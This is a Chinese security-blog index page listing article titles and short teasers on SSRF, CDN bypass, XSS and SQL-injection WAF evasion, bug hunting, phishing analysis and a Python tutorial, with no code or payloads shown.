line-heightfont-family
本作品采用《CC 协议》，转载必须注明作者和本文链接
记一次SSRF攻击内网的实战案例
2022-06-04 05:22:50
0x01 苦逼的测试任务 某一天，我照常在学校的CTF群和学长吹水，突然管事的学长在群里发了一张图，这个月轮到我们学校对省内的某旅游相关企业进行漏洞测试。上面的老师自然而然把这个任务分配给我们CTF战队，要求是找到漏洞，能Getshell的点证明能Getshell即可，不要深入利用。
CDN绕过技术总汇
2022-05-06 15:41:45
在HVV培训以及面试中，有人问了CDN该如何绕过找到目标真实IP，这向来是个老生常谈的问题，而且网上大多都有，但是有些不够全面，今天把绕过CDN全理一理。
绕过 XSS 检测机制
2022-05-05 07:30:30
跨站点脚本 (XSS) 是最常见的 Web 应用程序漏洞之一。它可以通过清理用户输入、基于上下文转义输出、正确使用文档对象模型 (DOM) 接收器和源、执行正确的跨源资源共享 (CORS) 策略和其他安全实践来完全防止。尽管这些预防性技术是公共知识，但 Web 应用程序防火墙 (WAF) 或自定义过滤器被广泛用于添加另一层安全性，以保护 Web 应用程序免受人为错误或新发现的攻击向量引入的缺陷
业务漏洞挖掘笔记
2022-04-03 21:16:10
业务漏洞挖掘笔记多年的实战业务漏洞挖掘经验，为了让今后的业务漏洞挖掘工作更清晰，以及尽可能的把重复性的工作自
实战 | BypassD盾之SQL注入绕过总结
2021-12-19 08:17:45
另类字符集编码绕过绕过原理HTTP协议兼容性：HTTP Charset的多样性Content-Type头中使用charset定义字符集的应用场景不只有在responses中，request中同样可以使用。
BypassD盾之SQL注入绕过总结
2021-12-15 07:42:34
BypassD盾之SQL注入绕过总结
实战绕过阿里云WAF
2022-04-25 09:17:37
原创文章渗透实现渗透技术原创声明：转载本文请标注出处和作者，望尊重作者劳动成果！感谢！前言：下面的漏洞挖掘案
[Python从零到壹] 十七.可视化分析之Matplotlib、Pandas、Echarts入门万字详解
2022-07-02 19:01:08
Python从零到壹第17篇介绍可视化分析，希望您喜欢
记一次对钓鱼邮件的分析
2021-11-29 08:32:07
前几天收了个钓鱼邮件，由于一直有各种事情，没有做完整的分析，趁着周末，理了理分析思路，整理一篇博客与大家分享 事情是这样的，突然qq邮箱收到一个来源自我的一个群发的通知。至于为什么发现是钓鱼邮件： 哎，这年头还有几个群有事情通知用qq邮件，不都是群公告么？ 发邮件就发邮件，有几个邮件后面带这种怪怪符号的？
VSole
网络安全专家